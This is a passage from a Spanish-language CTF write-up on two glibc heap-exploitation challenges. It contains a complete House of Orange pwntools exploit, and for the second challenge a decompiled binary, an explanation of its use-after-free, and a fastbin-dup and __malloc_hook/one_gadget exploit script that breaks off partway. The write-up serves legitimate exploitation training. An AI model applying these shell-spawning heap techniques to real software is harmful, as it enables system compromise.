<p>Como nuestros chunks son siempre de size <code class="language-plaintext highlighter-rouge">0x58</code>, no cabe toda la FILE structure necesaria para HoO en uno solo. Tendremos que separarla en varios pedazos. En el primer chunk dejaremos un monton de ptrs a <code class="language-plaintext highlighter-rouge">system</code>, para luego apuntar nuestra <code class="language-plaintext highlighter-rouge">vtable</code> a este chunk. Luego, podemos construir la misma FILE structure. Debemos hacerla de forma bastante precisa, ya que hay algunos checks que debemos pasar para que se ejecute la funcion de la <code class="language-plaintext highlighter-rouge">vtable</code>.</p>
<p>Finalmente, el exploit definitivo queda asi:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"DEBUG"</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./motoko"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./libc.so.6"</span><span class="p">)</span>
<span class="c1">#p = gdb.debug(elf.path, "c")
</span><span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">path</span><span class="p">)</span>
<span class="c1">#p = remote("desafiosq4.duckdns.org", 9998)
</span>
<span class="k">def</span> <span class="nf">alloc</span><span class="p">():</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"> "</span><span class="p">,</span> <span class="s">"1"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">free</span><span class="p">(</span><span class="n">ind</span><span class="p">):</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">">"</span><span class="p">,</span> <span class="s">"2"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"index: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">ind</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">show</span><span class="p">(</span><span class="n">ind</span><span class="p">):</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"> "</span><span class="p">,</span> <span class="s">"4"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"index: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">ind</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">edit</span><span class="p">(</span><span class="n">ind</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"> "</span><span class="p">,</span> <span class="s">"3"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"index: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">ind</span><span class="p">))</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s">"data: "</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
<span class="n">alloc</span><span class="p">()</span>
<span class="n">alloc</span><span class="p">()</span>
<span class="n">alloc</span><span class="p">()</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x31</span><span class="p">)</span><span class="o">*</span><span class="mi">8</span><span class="p">)</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s">"a"</span><span class="o">*</span><span class="mh">0x58</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x91</span><span class="s">"</span><span class="p">)</span>
<span class="n">free</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">alloc</span><span class="p">()</span>
<span class="n">show</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">8</span><span class="p">))</span>
<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="mh">0x399b78</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="s">"a"</span><span class="o">*</span><span class="mh">0x58</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x61</span><span class="s">"</span><span class="p">)</span>
<span class="n">alloc</span><span class="p">()</span>
<span class="n">free</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">free</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
<span class="n">show</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">heap</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">8</span><span class="p">))</span>
<span class="n">alloc</span><span class="p">()</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">5</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x31</span><span class="s">"</span><span class="p">)</span>
<span class="n">alloc</span><span class="p">()</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">system</span><span class="p">)</span><span class="o">*</span><span class="mi">10</span><span class="p">)</span>
<span class="n">alloc</span><span class="p">()</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">5</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x31</span><span class="s">"</span><span class="p">)</span> <span class="c1"># fake next chunk size to get unsortedbin
</span>
<span class="n">alloc</span><span class="p">()</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">))</span> <span class="c1"># vtable pointer to first chunk
</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="s">"a"</span><span class="o">*</span><span class="mh">0x50</span> <span class="o">+</span> <span class="s">"/bin/sh</span><span class="se">\x00</span><span class="s">"</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x91</span><span class="s">"</span><span class="p">)</span> <span class="c1"># chunk size overwrite to get unsorted
</span><span class="n">free</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span> <span class="c1"># get unosrted
</span><span class="n">edit</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'_IO_list_all'</span><span class="p">]</span> <span class="o">-</span> <span class="mh">0x10</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">7</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span> <span class="c1"># set HoO struct
</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">11</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span> <span class="c1"># null out chunk 8's size right before vtable
</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="s">"a"</span><span class="o">*</span><span class="mh">0x50</span> <span class="o">+</span> <span class="s">"/bin/sh</span><span class="se">\x00</span><span class="s">"</span> <span class="o">+</span> <span class="s">"</span><span class="se">\xb1</span><span class="s">"</span><span class="p">)</span>
<span class="n">alloc</span><span class="p">()</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">heap</span><span class="p">))</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">))</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">))</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>La efectividad de House of Orange depende de un bit que depende del ASLR, por lo que el exploit funciona un 50% de las veces.
Gracias a dplastico por este entretenido desafio :D</p>
<h1 id="420">420</h1>
<p>420pwn es un reto de heap con libc 2.30 compilada sin tcache. Nos entregan como material el <a href="/content/q42020/420/test">binario</a>, el <a href="/content/q42020/420/ld-2.30.so">ld</a> y la <a href="/content/q42020/420/libc.so.6">libc</a>. El binario tiene todas las protecciones habilitadas:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>checksec test
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '.'
</code></pre></div></div>
<p>No explicare mucho de las basicas de explotacion de heap en este writeup. Si no te sientes comodo aun con muchos de los conceptos que uso en el writeup, o si quieres aprender mas de explotacion de heap, te recomiendo <a href="https://github.com/shellphish/how2heap/">este</a> repo.</p>
<p>Comenzamos reverseando el binario. Casi todo pasa en la funcion main. Aqui dejo la decompilacion de Ghidra:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">long</span> <span class="n">lVar1</span><span class="p">;</span>
<span class="n">ulong</span> <span class="n">__size</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">pvVar2</span><span class="p">;</span>
<span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
<span class="n">uint</span> <span class="n">local_9c</span><span class="p">;</span>
<span class="kt">long</span> <span class="n">local_98</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">**</span><span class="n">local_90</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">local_78</span> <span class="p">[</span><span class="mi">13</span><span class="p">];</span>
<span class="kt">long</span> <span class="n">local_10</span><span class="p">;</span>
<span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
<span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">~~~~~~~~~~~~~~~~~~~~~~~~~~"</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Alerta! Motoko ha caido!"</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"----------------------------</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"esto es lo ultimo que hare por ti! derrota al droide!!! %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">puts</span><span class="p">);</span>
<span class="n">local_98</span> <span class="o">=</span> <span class="mh">0xd</span><span class="p">;</span>
<span class="n">local_90</span> <span class="o">=</span> <span class="n">local_78</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span><span class="n">local_98</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">local_98</span> <span class="o">=</span> <span class="n">local_98</span> <span class="o">+</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="o">*</span><span class="n">local_90</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">;</span>
<span class="n">local_90</span> <span class="o">=</span> <span class="n">local_90</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">local_9c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">)</span> <span class="p">{</span>
<span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">1) guarda %u/%u</span><span class="se">\n</span><span class="s">"</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)</span><span class="n">local_9c</span><span class="p">,</span><span class="mh">0xd</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"2) borra"</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"3) chao"</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"> "</span><span class="p">);</span>
<span class="n">lVar1</span> <span class="o">=</span> <span class="n">read_num</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">lVar1</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"index: "</span><span class="p">);</span>
<span class="n">__size</span> <span class="o">=</span> <span class="n">read_num</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">__size</span> <span class="o"><</span> <span class="n">local_9c</span><span class="p">)</span> <span class="p">{</span>
<span class="n">free</span><span class="p">(</span><span class="n">local_78</span><span class="p">[</span><span class="n">__size</span><span class="p">]);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"invalid index"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">lVar1</span> <span class="o">==</span> <span class="mi">3</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">lVar1</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">local_9c</span> <span class="o"><</span> <span class="mh">0xd</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"size: "</span><span class="p">);</span>
<span class="n">__size</span> <span class="o">=</span> <span class="n">read_num</span><span class="p">();</span>
<span class="k">if</span> <span class="p">((</span><span class="n">__size</span> <span class="o"><</span> <span class="mh">0x59</span><span class="p">)</span> <span class="o">||</span> <span class="p">((</span><span class="mh">0x68</span> <span class="o"><</span> <span class="n">__size</span> <span class="o">&&</span> <span class="p">(</span><span class="n">__size</span> <span class="o"><</span> <span class="mh">0x79</span><span class="p">))))</span> <span class="p">{</span>
<span class="n">pvVar2</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">__size</span><span class="p">);</span>
<span class="n">local_78</span><span class="p">[</span><span class="n">local_9c</span><span class="p">]</span> <span class="o">=</span> <span class="n">pvVar2</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">local_78</span><span class="p">[</span><span class="n">local_9c</span><span class="p">]</span> <span class="o">==</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"request invalido"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"data: "</span><span class="p">);</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">local_78</span><span class="p">[</span><span class="n">local_9c</span><span class="p">],</span><span class="n">__size</span><span class="p">);</span>
<span class="n">local_9c</span> <span class="o">=</span> <span class="n">local_9c</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"solo rapidos... (excluding 0x70)"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"lo llenaste!"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">==</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/* WARNING: Subroutine does not return */</span>
<span class="n">__stack_chk_fail</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Podemos ver que es un binario relativamente simple. Hay algunas cosas que tenemos que destacar de esta funcion:</p>
<ol>
<li>Al iniciarse el binario este nos da la direccion de la funcion puts en libc, por lo que no tenemos que preocuparnos de hacer un leak para bypassear el ASLR.</li>
<li>Nos da 3 opciones: (1) alloquear un chunk de size a eleccion y luego introducir data, (2) freear este chunk y (3) salir del programa.</li>
<li>Si elegimos la opcion (1) de alloquear, el pointer a nuestro chunk se guarda en un array en el stack.</li>
<li>Si elegimos la opcion (2) de freear, se hace free(ptr) con el pointer del index que le digamos del array del stack. Aqui es donde esta el bug: El pointer no es eliminado del array luego de llamar a free! Tenemos un UAF.</li>
<li>Lo interesante de este desafio son las limitaciones en el size que podemos alloquear: <code class="language-plaintext highlighter-rouge">if ((__size < 0x59) || ((0x68 < __size && (__size < 0x79)))) {</code>. Debido a esta regla, no podremos alloquear ningun chunk que termine teniendo size 0x70 a 0x7f, por lo que el clasico ataque de fastbin dup usando misallignment justo antes de <code class="language-plaintext highlighter-rouge">__malloc_hook</code> no sera posible.</li>
<li>Es muy importante notar que, a diferencia de una gran mayoria de desafios de explotacion de heap, el array de chunks se guarda en el STACK, y no en la .bss.</li>
</ol>
<p>Habiendo identificado el bug podemos pasar a intentar explotarlo.</p>
<p>Teniendo presente un UAF, inmediatamente podemos hacer un fastbin dup. El problema es a donde lo hacemos. Por lo explicado en el punto 5, no podemos usar la mayor parte de los pointers que estan en libc, ya que su Most-Significant-Byte (MSB) es siempre 0x7f debido a la forma en que funciona el ASLR en los binarios de 64-bit.</p>
<p>En el caso de encontrar un MSB menor a 0x70, podriamos usarlo inmediatamente para hacer un fastbin dup hacia esa seccion de libc. El problema que surge es que, si existe de manera previa uno de estos MSB en la libc, no estan en lugares utiles para nosotros.</p>
<p>Pero que pasaria si en vez de tener que “encontrar” uno de estos MSBs, nosotros “creamos” uno?</p>
<p>En los binarios con PIE y ASLR, el heap SIEMPRE es mappeado en las direcciones <code class="language-plaintext highlighter-rouge">0x55xxxxxxxxxx</code> o <code class="language-plaintext highlighter-rouge">0x56xxxxxxxxxx</code>. Nosotros podemos controlar que es lo que pasa en el heap, entonces podemos alloquear un chunk y liberarlo, lo que lo introduciria en la cabeza del fastbin de su size. La direccion de esta cabeza del fastbin es almacenada en la main_arena en libc. Que significa esto? Que acabamos de poner un MSB de 0x55 o 0x56 en la <code class="language-plaintext highlighter-rouge">main_arena</code> en libc. Ahora podemos hacer un fastbin dup usando este MSB como size field para nuestro chunk. Por la forma en que funciona malloc internamente, un size field de 0x55 provoca una Segmentation Fault, por lo que nuestro exploit se vuelve dependiente del PIE y ASLR para que el heap sea mappeado en 0x56xxxxxxxxxx. Podriamos eliminar esta dependencia haciendo un fastbin dup previo para introducir un address de naturaleza <code class="language-plaintext highlighter-rouge">0x56xxxxxxxxxx</code> en la head de un fastbin, pero por razones que voy a explicar mas adelante esto hace imposible la utilizacion de una tecnica que tambien explicare mas adelante.</p>
<p>Bueno, tras ejecutar nuestro fastbin dup hacia libc usando el leak que nos proporciona el binario al inicio, obtenemos un chunk en la <code class="language-plaintext highlighter-rouge">main_arena</code>. Usaremos este chunk para modificar el <code class="language-plaintext highlighter-rouge">ptr</code> al top chunk que se encuentra tambien en la <code class="language-plaintext highlighter-rouge">main_arena</code>. Podemos modificarlo para que apunte un poco por debajo de <code class="language-plaintext highlighter-rouge">__malloc_hook</code> para poder alloquear otro chunk y que este provenga de esa parte de la memoria, permitiendonos sobreescribir <code class="language-plaintext highlighter-rouge">__malloc_hook</code>.</p>
<p>Siendo esta libc la version 2.30, tenemos que bypassear la <a href="https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=9431108626cdc0b5c1972ee00126228c8dd7166f;hp=e247c77b7d4de26e0f2fbec16e352889bac3781b;hb=30a17d8c95fbfb15c52d1115803b63aaa73a285c;hpb=34f86d61687457aa57d40cf3c230ca8404d40e45">top chunk sanity check</a> introducida en la version 2.29. Debuggeando un poco podemos encontrar un buen size field para nuestro top chunk si cambiamos el pointer a <code class="language-plaintext highlighter-rouge">libc.address + 0x3b4b2c</code>.</p>
<p>Luego de cambiar la direccion del top chunk, podemos simplemente alloquear un nuevo chunk y sobreescribir <code class="language-plaintext highlighter-rouge">__malloc_hook</code> con la direccion de un <a href="https://github.com/david942j/one_gadget">one_gadget</a>. Esto deberia bastar para obtener nuestra shell, cierto? PERO NO! HAHAHAHAHA</p>
<p>Aqui es donde el punto numero 6 vuelve a aparecer para jodernos la vida XD. Para que los <code class="language-plaintext highlighter-rouge">one_gadgets</code> funcionen, sus contraints deben ser cumplidos. En el caso de los problemas de explotacion de heap, el <code class="language-plaintext highlighter-rouge">one_gadget</code> que casi siempre funciona es el siguiente:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0xe1fa1 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
</code></pre></div></div>
<p>Se necesita que <code class="language-plaintext highlighter-rouge">[rsp+0x50]</code> sea nulo, pero debido a lo que explique en el punto 6 al inicio del writeup, esta direccion no es nula porque el array de pointers a nuestros chunks se guarda en el stack en vez de la .bss.</p>
<p>Hay alguna forma de hacer que <code class="language-plaintext highlighter-rouge">[rsp+0x50]</code> ,sea nulo? Si. Luego de completar el desafio, dplastico me comento que la tecnica que yo utilice no era la intended, por lo que definitivamente no es la unica.</p>
<p>Para hacer que <code class="language-plaintext highlighter-rouge">[rsp+0x50]</code> sea nulo use una tecnica llamada <code class="language-plaintext highlighter-rouge">two-gadget</code>. Esta consiste en sobreescribir <code class="language-plaintext highlighter-rouge">__malloc_hook</code> con una direccion cercana a la de <code class="language-plaintext highlighter-rouge">realloc</code>, y sobreescribir <code class="language-plaintext highlighter-rouge">__realloc_hook</code> con nuestro <code class="language-plaintext highlighter-rouge">one_gadget</code>. La clave esta en la direccion con que sobreescribimos <code class="language-plaintext highlighter-rouge">__malloc_hook</code>. Si nos saltamos los <code class="language-plaintext highlighter-rouge">push</code> iniciales al comienzo de <code class="language-plaintext highlighter-rouge">realloc</code>, podemos cambiar la forma en la que esta estructurado el stack al momento de ejecutar nuestro <code class="language-plaintext highlighter-rouge">one_gadget</code>. Para identificar la direccion correcta con la que reescribir <code class="language-plaintext highlighter-rouge">__malloc_hook</code> podemos hacer un disassembly a <code class="language-plaintext highlighter-rouge">realloc</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Dump of assembler code for function __GI___libc_realloc:
0x00007ffff7a9fb20 <+0>: push r15
0x00007ffff7a9fb22 <+2>: push r14
0x00007ffff7a9fb24 <+4>: push r13
0x00007ffff7a9fb26 <+6>: push r12
0x00007ffff7a9fb28 <+8>: push rbp
0x00007ffff7a9fb29 <+9>: push rbx
0x00007ffff7a9fb2a <+10>: sub rsp,0x18
0x00007ffff7a9fb2e <+14>: mov rax,QWORD PTR [rip+0x33049b] # 0x7ffff7dcffd0
0x00007ffff7a9fb35 <+21>: mov rax,QWORD PTR [rax]
0x00007ffff7a9fb38 <+24>: test rax,rax
0x00007ffff7a9fb3b <+27>: jne 0x7ffff7a9fd30 <__GI___libc_realloc+528>
0x00007ffff7a9fb41 <+33>: test rsi,rsi
0x00007ffff7a9fb44 <+36>: mov r15,rsi
</code></pre></div></div>
<p>Debuggeando un poco, conseguimos que <code class="language-plaintext highlighter-rouge">[rsp+0x50]</code> sea nulo si apuntamos <code class="language-plaintext highlighter-rouge">__malloc_hook</code> a <code class="language-plaintext highlighter-rouge">realloc+14</code>. Esto equivale a apuntarlo a <code class="language-plaintext highlighter-rouge">libc.address + 0x83b2e</code>.</p>
<p>Tras sobreescribir los hooks de la forma descrita, podemos alloquear un nuevo chunk y nustro <code class="language-plaintext highlighter-rouge">one_gadget</code> se ejecuta correctamente. Obtenemos la shell :D</p>
<p>A modo de precaucion, para no tener problemas con el top chunk al hacer esta ultima llamada a malloc, deje un chunk libre de size 24 (fastbin) en el heap, por lo que una allocacion de ese size provendra de ahi y no del top chunk.</p>
<p>Aqui les dejo el exploit completo:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"DEBUG"</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./test"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./libc.so.6"</span><span class="p">)</span>
<span class="c1">#p = gdb.debug(elf.path, "c")
</span><span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">path</span><span class="p">)</span>
<span class="c1">#p = remote("10.150.0.4", 9925)
</span>
<span class="c1"># Funciones wrapper para el binario
</span><span class="k">def</span> <span class="nf">alloc</span><span class="p">(</span><span class="n">size</span><span class="o">=</span><span class="mh">0x48</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="s">""</span><span class="p">):</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"> "</span><span class="p">,</span> <span class="s">"1"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"size: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
<span class="k">if</span> <span class="n">data</span> <span class="o">!=</span> <span class="s">""</span><span class="p">:</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s">"data: "</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"data: "</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">free</span><span class="p">(</span><span class="n">ind</span><span class="p">):</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"> "</span><span class="p">,</span> <span class="s">"2"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"index: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">ind</span><span class="p">))</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"droide!!! "</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">puts</span>
<span class="n">alloc</span><span class="p">(</span><span class="mi">24</span><span class="p">)</span>
<span class="n">free</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="c1"># Chunk para que la allocacion final no venga del top chunk
</span>
<span class="n">alloc</span><span class="p">(</span><span class="mh">0x78</span><span class="p">)</span>
<span class="n">free</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="c1"># Introducimos este chunk como cabeza del fastbin de size 0x80 para hacer fastbin dup a main_arena
</span>
<span class="n">alloc</span><span class="p">(</span><span class="mh">0x48</span><span class="p">)</span>
<span class="n">alloc</span><span class="p">(</span><span class="mh">0x48</span><span class="p">)</span>
<span class="n">free</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
